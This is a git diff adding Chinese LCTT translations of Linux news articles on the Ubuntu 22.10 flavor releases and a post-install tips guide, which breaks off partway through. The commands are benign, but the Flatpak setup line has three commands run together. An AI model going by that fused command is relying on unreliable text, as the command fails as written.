[官方发布说明][12]。 + +### 下载 Kubuntu 22.10 + +你可以从 [Ubuntu 的中央镜像库][13] 或其 [官方网站][14] 下载最新的 ISO。 + +> **[Kubuntu 22.10][14]** + +*它的官方网站可能需要一段时间来提供 ISO。* + +💬 你对这个版本感到兴奋吗? + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/kubuntu-22-10-release/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/10/kubuntu-22-10-release.jpg +[2]: https://kde.org/plasma-desktop/ +[3]: https://news.itsfoss.com/content/images/2022/10/Kubuntu_22.10_Desktop.png +[4]: https://itsfoss.com/long-term-support-lts/ +[5]: https://news.itsfoss.com/content/images/2022/10/Kubuntu_22.10_KDE_Version.png +[6]: https://news.itsfoss.com/kde-plasma-5-26-release/ +[7]: https://pipewire.org/ +[8]: https://www.freedesktop.org/wiki/Software/PulseAudio/ +[9]: https://news.itsfoss.com/content/images/2022/10/Kubuntu_22.10_Linux_Kernel.png +[10]: https://news.itsfoss.com/content/images/2022/10/Kubuntu_22.10_Wayland_Session.png +[11]: https://news.itsfoss.com/content/images/2022/10/Kubuntu_22.10_Wayland_Session_2.png +[12]: https://wiki.ubuntu.com/KineticKudu/ReleaseNotes/Kubuntu +[13]: https://cdimage.ubuntu.com/kubuntu/releases/22.10/release/ +[14]: https://kubuntu.org/getkubuntu/ +[15]: https://news.itsfoss.com/kde-plasma-5-25-release/ \ No newline at end of file diff --git a/published/202210/20221020.2 ⭐️ Ubuntu MATE 22.10 Release Has Some Interesting Upgrades!.md b/published/202210/20221020.2 ⭐️ Ubuntu MATE 22.10 Release Has Some Interesting Upgrades!.md new file mode 100644 index 0000000000..10ef5e9b6f --- /dev/null +++ b/published/202210/20221020.2 ⭐️ Ubuntu MATE 22.10 Release Has Some Interesting Upgrades!.md @@ -0,0 +1,126 @@ +[#]: subject: "Ubuntu MATE 22.10 Release Has Some Interesting Upgrades!" +[#]: via: "https://news.itsfoss.com/ubuntu-mate-22-10-release/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15174-1.html" + +Ubuntu MATE 22.10 的新变化 +====== + +> Ubuntu MATE 22.10 已经发布,其中有一些细微而有用的变化。来看看吧! + +![Ubuntu MATE 22.10 版本有一些有趣的升级!][1] + +Ubuntu MATE 是 [Ubuntu 官方版本][2] 之一,每次升级都会增加有趣的改进。 + +它的目标用户是那些既珍惜传统桌面的外观和感觉,又渴望现代操作系统的功能的用户。 + +Ubuntu MATE 22.10 版本增加了许多改进和功能,让我们来看看这些。 + +### Ubuntu MATE 22.10 的新变化 + +![Ubuntu MATE 22.10 桌面][3] + +基于非 LTS 版本的 [Ubuntu 22.10][4] ,Ubuntu MATE 22.10 带来了多项更新,一些关键的亮点包括: + +- 对 MATE 桌面的改进。 +- 新的 AI 墙纸。 +- PipeWire 是默认的音频服务器。 +- 新的 MATE 用户管理器。 +- Firefox 105 更新。 +- LibreOffice 7.4。 + +> 💡 注意,Ubuntu MATE 的升级通常包括更多的功能补充。但这一次,Martin Wimpress 一直致力于为 Debian MATE 版带来类似的体验。你可以在我们之前的报道中阅读更多细节。 + +> [准备好在 Debian Linux 上获得 Ubuntu MATE 体验吧!][15] + +#### MATE 桌面升级 + +![Ubuntu MATE 22.10 桌面视图][5] + +MATE 桌面收到了各种错误修复和对 Ayatana 指示器、MATE 面板的更新。 + +现在,你可以将小程序居中对齐,与通常的左右对齐选项一起。 + +这项功能将在 MATE 桌面 1.28 版中正式出现,但 Ubuntu MATE 团队在 MATE 桌面 1.27 版的基础上将其与这个版本一起推出。 + +#### MATE 用户管理器 + +![Ubuntu MATE 22.10 用户管理器][6] + +MATE 用户管理器是该发行版的一个新的补充,允许你添加、修改、删除用户账户。 + +有了它,你可以选择哪些用户可以成为管理员、设置自动登录、设置个人资料图片,以及管理组成员资格。对于有多个用户的计算机来说,这是一个相当方便和急需的功能。 + +#### 新的 AI 壁纸 + +![Ubuntu MATE 22.10 AI 壁纸][7] + +这个版本的另一大亮点是增加了新的 AI 生成的壁纸。 + +这些看起来很美 😍 + +鉴于人工智能生成的壁纸现在正大行其道,Ubuntu MATE 团队在 Ubuntu MATE 22.10 中加入了一批新的壁纸。 + +它是由 [Simon Butcher][8] 使用扩散模型创建的,用来描画 “捻角羚”。 + +#### Linux 内核 5.19 + +Ubuntu MATE 22.10 得益于 Linux 内核 5.19 带来的改进,对各种 ARM SoC、Arc Alchemist GPU 等提供了增强支持。 + +你可以阅读我们的相关报道以了解更多。 + +#### 🛠️ 其他变化和改进 + +与其他新版本一样,Ubuntu MATE 22.10 用 [PipeWire][10] 取代了 [PulseAudio][9],以获得更好的音频处理,并加入了额外的蓝牙编解码器,如 AAC、LDAC、aptX 和 aptX HD。 + +其他值得注意的变化包括: + +- 更新的应用程序包括:Firefox 105、LibreOffice 7.4、Celluloid 0.20 和 Evolution 3.46。 +- Ubuntu MATE HUD 支持 MATE、XFCE 和 Budgie,具有更多的配置能力。 + +如果你感到好奇,你可以查看 Ubuntu MATE 22.10 [官方发布说明][11]。 + +### 下载 Ubuntu MATE 22.10 + +你可以从 [Ubuntu 的中央镜像库][12] 或其 [官方网站][13] 下载最新的 ISO。 + +*它的官方网站/仓库可能需要一段时间来提供 ISO。* + +> 💡 Ubuntu MATE 22.10 将被支持九个月,直到 **2023 年 7 月** 。如果你想要稳定而不是功能,你应该更喜欢使用 [LTS 版本][14]。 + +> **[下载 Ubuntu MATE 22.10][13]** + +💬 _有兴趣尝试 Ubuntu MATE 22.10 吗?请在评论中告诉我你的想法。_ + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/ubuntu-mate-22-10-release/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/10/ubuntu-mate-22-10-release.jpg +[2]: https://itsfoss.com/which-ubuntu-install/ +[3]: https://news.itsfoss.com/content/images/2022/10/ubuntu-mate-22-10.png +[4]: https://news.itsfoss.com/ubuntu-22-10-features/ +[5]: https://news.itsfoss.com/content/images/2022/10/Ubuntu_MATE_22.10_Desktop.png +[6]: https://news.itsfoss.com/content/images/2022/10/Ubuntu_MATE_22.10_User_Manager.png +[7]: https://news.itsfoss.com/content/images/2022/10/Ubuntu_MATE_22.10_AI_Wallpapers.png +[8]: https://twitter.com/simonjbutcher +[9]: https://www.freedesktop.org/wiki/Software/PulseAudio/ +[10]: https://pipewire.org/ +[11]: https://ubuntu-mate.org/blog/ubuntu-mate-kinetic-kudu-release-notes/ +[12]: https://cdimage.ubuntu.com/ubuntu-mate/releases/22.10/release/ +[13]: https://ubuntu-mate.org/download/ +[14]: https://itsfoss.com/long-term-support-lts/ +[15]: https://news.itsfoss.com/ubuntu-mate-debian/ \ No newline at end of file diff --git a/published/202210/20221020.3 ⭐️ Ubuntu Budgie 22.10 Release Improves Control Center and Removes Some GNOME Apps.md b/published/202210/20221020.3 ⭐️ Ubuntu Budgie 22.10 Release Improves Control Center and Removes Some GNOME Apps.md new file mode 100644 index 0000000000..38d5642bd9 --- /dev/null +++ b/published/202210/20221020.3 ⭐️ Ubuntu Budgie 22.10 Release Improves Control Center and Removes Some GNOME Apps.md @@ -0,0 +1,121 @@ +[#]: subject: "Ubuntu Budgie 22.10 Release Improves Control Center and Removes Some GNOME Apps" +[#]: via: "https://news.itsfoss.com/ubuntu-budgie-22-10-release/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15179-1.html" + +Ubuntu Budgie 22.10 的新变化 +====== + +> Ubuntu Budgie 22.10 是一个有趣的版本,它删除了几个 GNOME 应用程序,以及一些其他改进。 + +![Ubuntu Budgie 22.10 Release Improves Control Center and Removes Some GNOME Apps][1] + +[Ubuntu Budgie][2] 是 Ubuntu 的官方版本,因其传统的桌面界面和最小的软件膨胀而广受欢迎。 + +Ubuntu Budgie 22.10 的发布带来了一些关键的调整和补充。 + +### 🆕 Ubuntu Budgie 22.10 有什么新变化 + +![ubuntu budgie 22.10][3] + +基于 Ubuntu 22.10 “充满活力的捻角羚Kinetic Kudu”,Ubuntu Budgie 22.10 带来了 Budgie 桌面 10.6.4 和许多其他改进。 + +一些值得注意的亮点包括: + +- 增强型 Budgie 控制中心Control Center +- 更新了 Budgie 的“欢迎Welcome”应用 +- 替换各种基于 GNOME 的应用程序 +- 对翻译进行了更新 + +#### Budgie 桌面和控制中心 + +![ubuntu budgie 22.10 desktop settings][4] + +Budgie 桌面以及更新到 V10.6.4, 它添加了一个新的全局选项来控制小程序之间的间距,并对工作区和时钟小程序进行了各种改进。 + +![ubuntu budgie 22.10 display color profiles][5] + +Budgie 控制中心Control Center也得到了一堆调整,例如重新设计的显示颜色配置文件支持,修改了对屏幕分享的支持,如 [RDP][6] 和 [VNC][7],用于显示缩放的选项,等等。 + +#### 升级了欢迎应用 + +![ubuntu budgie 22.10 welcome app][8] + +Ubuntu Budgie 22.10 特别升级了 [Budgie 的欢迎应用][9],改善了翻译以及一些其他改进。 + +#### 默认的应用的变化 + +Ubuntu Budgie 的开发人员已经开始替换和删除基于 GNOME 的应用程序,转而使用基于 MATE 的应用程序和其他替代品。 + +他们决定这样做是因为基于 GNOME 的应用程序在 Budgie 中的外观与其他具有圆角边缘的应用程序的外观不一致。 + +这些不一致是由于 GNOME 根据其样式和主题需求而转到 Libadwaita 库造成的。 + +Libadwaita 库是 GNOME 的一个有争议的补充,没有多少用户喜欢,你可以通过我们的报道来了解更多信息。 + +> **[你对在 Linux 世界中 GNOME 的 Libadwaita 库怎么看?][15]** + +以下是一些已删除或替换的应用程序: + +- GNOME 计算器被 MATE 计算器取代。 +- 删除了 GNOME 日历。 +- GNOME 系统监视器已由 MATE 系统监视器取代。 +- 删除了 GNOME 截图。 +- [字体管理器][10] 替代了 GNOME 字体查看器。 + +#### 🛠️ 其他改变 + +其他改变包括以下: + +- 重新开发的内置主题 +- 移除 PulseAudio,并支持 PipeWire +- 原生的截图功能 +- 支持 WebP 图像 +- 能够查看显示器的刷新率 + +你可以通过 [发行说明][11] 了解更多。 + +### 📥 下载 Ubuntu Budgie 22.10 + +你可以在 [Ubuntu 中央镜像仓库][12] 或者它的 [官方网站][13] 下载最新的 ISO。 + +*其官方网站可能需要一段时间才能提供 ISO。* + +> **[下载 Ubuntu Budgie 22.10][13]** + +> 💡 Ubuntu Budgie 22.10 将支持 9 个月直到 **2023 年 6 月**。如果你想使用稳定的功能,更应该选择 [LTS 版本][14]。 + +💬 你如何看待这个非 LTS 版本?愿意尝试一下吗? + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/ubuntu-budgie-22-10-release/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/10/ubuntu-budgie-22-10-release.png +[2]: https://ubuntubudgie.org/ +[3]: https://news.itsfoss.com/content/images/2022/10/Ubuntu_Budgie_22.10.png +[4]: https://news.itsfoss.com/content/images/2022/10/Ubuntu_Budgie_22.10_Desktop_Settings.png +[5]: https://news.itsfoss.com/content/images/2022/10/Ubuntu_Budgie_22.10_Color_Profiles.png +[6]: https://en.wikipedia.org/wiki/Remote_Desktop_Protocol +[7]: https://en.wikipedia.org/wiki/Virtual_Network_Computing +[8]: https://news.itsfoss.com/content/images/2022/10/Ubuntu_Budgie_22.10_Welcome.png +[9]: https://ubuntubudgie.org/2022/02/quick-overview-of-budgie-welcome-application/ +[10]: https://itsfoss.com/font-manager/ +[11]: https://ubuntubudgie.org/2022/09/ubuntu-budgie-22-10-release-notes/ +[12]: https://cdimage.ubuntu.com/ubuntu-budgie/releases/22.10/ +[13]: https://ubuntubudgie.org/downloads/ +[14]: https://itsfoss.com/long-term-support-lts/ +[15]: https://news.itsfoss.com/gnome-libadwaita-library/ \ No newline at end of file diff --git a/published/202210/20221020.4 ⭐️ Xubuntu 22.10 Releases With Xfce Upgrades, and Other Refinements.md b/published/202210/20221020.4 ⭐️ Xubuntu 22.10 Releases With Xfce Upgrades, and Other Refinements.md new file mode 100644 index 0000000000..3892e9babd --- /dev/null +++ b/published/202210/20221020.4 ⭐️ Xubuntu 22.10 Releases With Xfce Upgrades, and Other Refinements.md @@ -0,0 +1,134 @@ +[#]: subject: "Xubuntu 22.10 Releases With Xfce Upgrades, and Other Refinements" +[#]: via: "https://news.itsfoss.com/xubuntu-22-10-release/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15188-1.html" + +Xubuntu 22.10 的新变化 +====== + +> Xubuntu 22.10 提供了精致的 Xfce 体验。请读此文了解详情。 + +![Xubuntu 22.10 Releases With Xfce Upgrades, and Other Refinements][1] + +Xubuntu 是基于 Xfce 的 Ubuntu 官方版本。 + +它也是最好的轻量级 Linux 发行版之一。 + +随着最新的 Xubuntu 22.10 “Kinetic Kudu” 版本,你可以看到改进的桌面环境、添加的功能,以及全面的细化。 + +### Xubuntu 22.10 的新变化 + +![Xubuntu 22.10 home][2] + +Xubuntu 22.10 带来了一些令人兴奋的升级。一些亮点包括: + +- Xfce 4.16(或 Xfce 4.17 开发版) +- Catfish 的外观进行了更新。 +- 更新了新图标,弃用了 elementary-xfce-darker 主题。 +- Mousepad 搜索历史。 +- Thundar 文件管理器的改进。 +- Xfce 任务管理器。 + +> 💡 Xubuntu 22.10 将支持九个月,直到 **2023 年 7 月**。如果你想要稳定性而不是功能,你应该首选使用 [LTS 版本][3]。 + +#### Xfce 4.17 开发版还是 Xfce 4.16? + +Xubuntu 22.10 的发行说明说它专门提供了 Xfce 4.17 开发版本。 + +但是,当我安装 Xubuntu 22.10 的 beta 版本(并将其更新到最新版本)时,只具有 Xfce 4.16。 + +![][4] + +不确定他们是否退出了 Xfce 4.17 开发版本,或者 Xfce 4.16 现在是否存在。 + +#### Catfish 外观 + +![xubuntu catfish][5] + +Catfish 是 Xubuntu 上的一个文件搜索工具。通过新的升级,它具有焕然一新的外观,并做了底层的改进。 + +与你搜索的文件交互时,你还会获得一个“打开方式”上下文菜单。 + +![][6] + +Catfish 还添加了一些细微而有用的功能。 + +#### GNOME 43 软件应用 + +在值得注意的应用程序更新中,GNOME 的最新软件中心是一个不错的选择。这是 Xubuntu 22.10 的外观: + +![][7] + +当然,它可能无法与 Xfce 上的其他应用程序保持一致,但我认为你应该不会介意。 + +#### 图标更新 + +随着 elementary-xfce 0.17 图标更新,有许多新图标和更简洁的选项,可提供一致的 Xubuntu 桌面体验。 + +![][8] + +此外,elementary-xfce-darkest 主题图标包已被弃用。 + +![][9] + +#### 任务管理器右键选项 + +![][10] + +你现在可以将完整的进程路径复制到剪贴板。这对于需要从命令行进行故障排除或停止操作很有用。 + +### 其他增强功能 + +![][11] + +还有其他几个值得注意的变化,包括: + +- Linux 内核 5.19。 +- Firefox 浏览器 105。 +- `Alt-Tab` 视图通过更突出的图标进行了改进。 +- 马赛克拼图添加到 SGT 拼图系列。 +- Mousepad 文本编辑器现在包括搜索历史记录,以及更多调整。 + +要了解有关更改的更多信息,请查看 [官方发行说明][12]。 + +### 下载 Xubuntu 22.10 + +你可以从 [Ubuntu 的中央镜像库][13] 或它的 [官方网站][14] 下载最新的 ISO 文件。 + +官方网站可能需要一段时间才能提供 ISO。 + +> **[下载Xubuntu 22.10][14]** + +💬 你觉得 Xubuntu 22.10 如何?请在评论中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/xubuntu-22-10-release/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/10/xubuntu-22-10-release.jpg +[2]: https://news.itsfoss.com/content/images/2022/10/xubuntu-22-10.png +[3]: https://itsfoss.com/long-term-support-lts/ +[4]: https://news.itsfoss.com/content/images/2022/10/xfce-4-16.jpg +[5]: https://news.itsfoss.com/content/images/2022/10/catfish-xubuntu-22-10.png +[6]: https://news.itsfoss.com/content/images/2022/10/catfish-openwith-1.jpg +[7]: https://news.itsfoss.com/content/images/2022/10/xubuntu-gnome-43-software.jpg +[8]: https://news.itsfoss.com/content/images/2022/10/xubuntu-22-10-icons.jpg +[9]: https://news.itsfoss.com/content/images/2022/10/xfce-dark-theme.png +[10]: https://news.itsfoss.com/content/images/2022/10/task-manager-copy-command-line.jpg +[11]: https://news.itsfoss.com/content/images/2022/10/xubuntu-22-10-puzzle.png +[12]: https://wiki.xubuntu.org/releases/22.10/release-notes +[13]: https://cdimage.ubuntu.com/xubuntu/releases/22.10/release/ +[14]: https://xubuntu.org/download/ diff --git a/published/202210/20221020.5 ⭐️ Ubuntu 22.10 Is Here!.md b/published/202210/20221020.5 ⭐️ Ubuntu 22.10 Is Here!.md new file mode 100644 index 0000000000..afcfdf3637 --- /dev/null +++ b/published/202210/20221020.5 ⭐️ Ubuntu 22.10 Is Here!.md @@ -0,0 +1,147 @@ +[#]: subject: "Ubuntu 22.10 Is Here!" +[#]: via: "https://news.itsfoss.com/ubuntu-22-10-release/" +[#]: author: "Jacob Crume https://news.itsfoss.com/author/jacob/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15171-1.html" + +Ubuntu 22.10 的新变化 +====== + +> Ubuntu 22.10 是一个令人印象深刻的版本,它拥有新的快速切换功能、应用程序散布,以及更多。 + +![](https://img.linux.net.cn/data/attachment/album/202210/24/101545l1jae18e1881ee19.jpg) + +Ubuntu 22.10 “充满活力的捻角羚Kinetic Kudu”来了。它带来了许多重大的改进,特别是 Linux 内核 5.19 和 GNOME 43 的体验。 + +当然,这是一个经过定制的 GNOME 体验,现有的 Ubuntu 用户会很熟悉。 + +那么,Ubuntu 22.10 都有哪些新变化呢?让我们一起来看看。 + +### Ubuntu 22.10 的新变化 + +![][2] + +除了 GNOME 43 之外,Ubuntu 22.10 还包括: + +- 一个改进的 设置Settings 应用程序。 +- 经典的 Unity 应用程序散布模式Spread Mode的复活。 +- 一些著名的应用程序被移植到 GTK4 和 Libadwaita。 +- 全系统支持 WebP。 +- PipeWire 采样管默认的音频服务器。 +- Linux 内核 5.19。 + +> 💡 Ubuntu 22.10 将被支持九个月,直到 **2023 年 7 月**。如果你想要稳定而不是功能,你应该更愿意使用 [LTS 版本][3]。 + +#### 🎨 视觉改进 + +当第一次测试一个新版本时,视觉上的变化总是最先被注意到的。在 Ubuntu 22.10 中尤其如此,这要归功于 [GNOME 43][4] 所带来的重大改进。 + +![Ubuntu 22.10 快速设置][5] + +首先,我们有全新的快速设置菜单,它取代了旧的、相当笨拙的系统菜单。与安卓、iOS 和 Windows 11 中的菜单类似,这个新增的菜单允许你打开和关闭 Wi-Fi 和蓝牙,所有这些都无需进入设置Settings应用程序。 + +当然,在这个版本中我们还得到了全新的壁纸。 + +![Ubuntu 22.10 壁纸][6] + +对于这个变化,我除了喜欢并希望从社区中看到更多这样的设计之外,没有什么别的可说的。 + +此外,更多的应用程序被移植到了 GTK4,包括对 Nautilus 文件管理器的改进。 + +一些有价值的新增功能包括: + +- 拖动并选择文件的能力(橡皮筋选择)。 +- 自适应视图与一个紧凑的窗口。 +- 新的文件上下文菜单。 + +你可以通过我们的详细报道来探索 Nautilus 的改进。 + +#### 👴 应用程序散布回来了! + +我不太喜欢的 GNOME 的一个部分是多窗口应用程序的切换,我相信很多其他用户都有这样的不满。 + +![Ubuntu 22.04][7] + +幸运的是,Ubuntu 22.10 现在提供了一个很好的解决方案,对于长期用户来说应该是很熟悉的。终于,在 2017 年放弃对 Unity 的支持五年后,Ubuntu 的开发者们又把应用程序散布Spread带了回来。 + +![Ubuntu 22.10应用程序散布][8] + +这是一个重大的改进,我很惊讶 GNOME 自己没有这样做。 + +#### 🛠️ 设置的改进 + +虽然不是大多数人日常使用的应用程序,但系统设置System Settings是 GNOME 体验的一个核心部分。考虑到这一点,看到它接受了一次重大的视觉改造,以及移植到了 GTK 4 和 Libadwaita,真是太棒了。 + +![Ubuntu 22.10 桌面设置][9] + +因此,它现在变得更好看了,而且是自适应的,这意味着它在任何尺寸下都能很好地工作,甚至在像 PinePhone 这样的 Linux 手机上也能很好地工作! + +另一个与设置有关的变化是增加了一个新的 “Ubuntu 桌面设置Ubuntu Desktop Settings”菜单项。这提供了一个单一的、统一的地方来定制和改变你所有的 Ubuntu 特定设置。 + +#### Linux 内核 5.19 + +Ubuntu 22.10 还带来了一个更新的内核,即 [Linux 内核 5.19][10]。这个版本的改进相当少,尽管它确实带来了对一些下一代硬件的改进支持。 + +你应该注意到这是 Linux 5.x 系列的最后一个版本,因为 Linux 内核下一个版本跳到了 6.0。 + +#### 其他变化 + +![Ubuntu 22.10 webp][11] + +总的来说有几个细微的调整。但其中一些基本的调整包括: + +- 图像应用程序默认支持 .WebP 图像格式。 +- GNOME 文本编辑器是默认编辑器。你可以安装 gedit 并使其成为默认的。 +- GNOME 图书应用程序已经不再可用。Ubuntu 推荐 [Foliate][12] 作为替代。 +- 不再默认安装 To Do 应用程序,并且它有了一个新的名字,“Endeavour”。 +- GNOME 终端仍然是默认的终端应用。如果需要,可以安装 [GNOME 控制台][13]。 +- 更新了 Firefox 104、[Thunderbird 102][14] 和 [Libreoffice 7.4][15] 等应用程序。 +- 更多的应用程序已经被移植到 GTK4,特别是 [Nautilus][16]。 + +> ℹ️ 注意,我们的列表集中在对桌面终端用户重要的变化上。如果你想知道更多关于服务器和其他使用情况的变化/更新,请参考 [官方发布说明][17]。 + +### 下载 Ubuntu 22.10 + +你可以从 [Ubuntu 的中央镜像库][18] 或其 [官方网站][19] 下载最新的 ISO。 + +**官方网站/仓库可能需要一段时间来提供 ISO 的下载。 + +> **[下载Ubuntu 22.10][19]** + +💬 有兴趣尝试 Ubuntu 22.10 吗?请在评论中告诉我你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/ubuntu-22-10-release/ + +作者:[Jacob Crume][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/jacob/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/10/ubuntu-22-10-release.png +[2]: https://news.itsfoss.com/content/images/2022/10/ubuntu-22-10.png +[3]: https://itsfoss.com/long-term-support-lts/ +[4]: https://news.itsfoss.com/gnome-43-release/ +[5]: https://news.itsfoss.com/content/images/2022/10/ubuntu-22-10-quick-setting.jpg +[6]: https://news.itsfoss.com/content/images/2022/10/22.10-wallpaper.png +[7]: https://news.itsfoss.com/content/images/2022/10/ubuntu-22-04-window-minimize.png +[8]: https://news.itsfoss.com/content/images/2022/10/ubuntu-22-10-app-spread.jpg +[9]: https://news.itsfoss.com/content/images/2022/10/ubuntu-22-10-desktop-setting.png +[10]: https://news.itsfoss.com/linux-kernel-5-19-release/ +[11]: https://news.itsfoss.com/content/images/2022/10/ubuntu-22-10-webp.png +[12]: https://itsfoss.com/foliate-ebook-viewer/ +[13]: https://itsfoss.com/gnome-console/ +[14]: https://news.itsfoss.com/thunderbird-102-release/ +[15]: https://news.itsfoss.com/libreoffice-7-4-release/ +[16]: https://news.itsfoss.com/gnome-files-43/ +[17]: https://discourse.ubuntu.com/t/kinetic-kudu-release-notes/27976 +[18]: https://cdimage.ubuntu.com/ubuntu/releases/22.10/release/ +[19]: https://ubuntu.com/download/desktop diff --git a/published/202210/20221021.2 ⭐️⭐️ 10 Things to Do After Installing Ubuntu 22.10 [With Bonus Tip].md b/published/202210/20221021.2 ⭐️⭐️ 10 Things to Do After Installing Ubuntu 22.10 [With Bonus Tip].md new file mode 100644 index 0000000000..6e07f8247a --- /dev/null +++ b/published/202210/20221021.2 ⭐️⭐️ 10 Things to Do After Installing Ubuntu 22.10 [With Bonus Tip].md @@ -0,0 +1,197 @@ +[#]: subject: "10 Things to Do After Installing Ubuntu 22.10 [With Bonus Tip]" +[#]: via: "https://www.debugpoint.com/things-to-do-ubuntu-22-10/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15185-1.html" + +安装 Ubuntu 22.10 后要做的 10 件事 +====== + +> 以下是我们安装 Ubuntu 22.10 “Kinetic Kudu”(GNOME 版)后,推荐做的 10 件事列表。 + +![][1] + +Ubuntu 22.10 带来了很多令人兴奋的新功能,例如 GNOME 43、最新的内核、重新设计的托盘菜单、文件应用的功能和 Pipewire 等 [新功能][2]。 + +我相信你已经迫不及待地想尝试 Ubuntu 22.10 上的这些新功能了。 + +但是请先等一等。 + +在你前往享受你新安装的 Ubuntu 22.10 之前,我要向你推荐一个不容错过的 Ubuntu 定制技巧列表。 + +### 安装 Ubuntu 22.10 后要做的 10 件事 + +#### 1、更新你的系统 + +安装好 Ubuntu 22.10 后,第一件要做的事就是更新你的系统。因为时差的原因,最新的 ISO 镜像通常不会包括所有的系统更新。所以,你要打开一个终端窗口,并运行以下命令,来更新你的系统。 + +``` +sudo apt update && sudo apt upgrade +``` + +上述命令执行完成后,你就可以进行下一步啦。 + +#### 2、删除 Firefox Snap,并安装 Flatpak 或者 deb 版本的 Firefox + +自去年发布的 Ubuntu 21.10 版本以来,默认的网页浏览器 Firefox 开始以 Snap 软件包的形式出现。如果你是普通用户,这可能不是一个问题或者需要担心的事情。但是出于几个原因,例如 Snap 软件包的 Firefox 启动时间较长、且当 Firefox 有后台更新时,会有不必要的 Snap 更新通知等等原因,导致许多用户不太喜欢 Firefox 的 Snap 软件包。 + +因此,你可以按照 [我写的另一篇操作指南][3],来完全删除 Firefox 的 Snap 软件包。这一过程有点复杂,需要花费一点时间。删除完成后,再从个人软件包存档(PPA)安装 deb 版本的 Firefox,或者使用 [Flatpak 版本][4] 的 Firefox。 + +这是一个可选的动作,你也可以跳过这一步骤。 + +#### 3、安装并启用 Flatpak + +虽然,几乎所有最新的 Linux 发行版都会默认安装 Flatpak,但是 Ubuntu 并没有默认安装 Flatpak,这是因为 Ubuntu 使用了它自己的沙箱技术 Snap。 + +但 Flatpak 这一应用程序还是最适合于每个人。Flatpak 能够帮助你快速安装多个应用程序,并在使用过程中无需担心依赖性和其他事情。 + +大多数 Flatpak 应用程序都在集中的仓库 Flathub 中。 + +要在 Ubuntu 22.10 中启用 Flatpak 应用程序,请按照以下命令进行操作。 + +``` +sudo apt install flatpakflatpak remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakreporeboot +``` + +如果你想进一步了解关于此安装过程的更多信息,请阅读我们不久前发布的 [指南][5]。 + +#### 4、查看隐私设置 + +我建议你在安装 Ubuntu 后,手动退出任何数据收集项。大家都知道,无论怎么努力尝试,在互联网上保护自己的隐私都很困难。因此,这些小步骤很重要。 + +要配置隐私项,请打开“设置Settings”并选择“隐私Privacy”。然后查看隐私菜单下列出的项目。 + +此外,请确保禁用对 Ubuntu 服务器的后台报告。需要运行以下命令来手动禁用,因为在设置中没有禁用它的选项。 + +``` +sudo ubuntu-report -f send no +``` + +![Turn off location services in Ubuntu 22.10][6] + +#### 5、探索 GNOME 43 的功能 + +在 Ubuntu 22.10 版本中,最具视觉和功能性的变化是 GNOME 43。因为 GNOME 43 有一些根本性和核心变化,所以它会影响每个人和他们的工作。GNOME 43 带来了一个新的药丸形状的托盘菜单,并更新了文件应用和 GNOME Web 等原生应用程序的功能。 + +请查看更为详细的 [GNOME 43 功能][7] 一文,以了解更多信息,或者你也可以自己探索 GNOME 43。 + +![Quick Settings Demo in GNOME 43][8] + +#### 6、确保音频可以与 Pipewire 配合使用 + +如果你经常使用音频,或者你的工作范围涉及到声音捕获、播放等内容,请确保在 Ubuntu 22.10 中,你的音频在有线或蓝牙情况下都能正常工作。 + +因为 Ubuntu 22.10 这个版本中的音频服务器是多年来第一次发生了变化,传统的 PulseAudio 被现代的 Pipewire 所取代。因此,请务必进行验证音频是否能正常使用。 + +#### 7、安装其他软件包 + +确保你可以在 Ubuntu 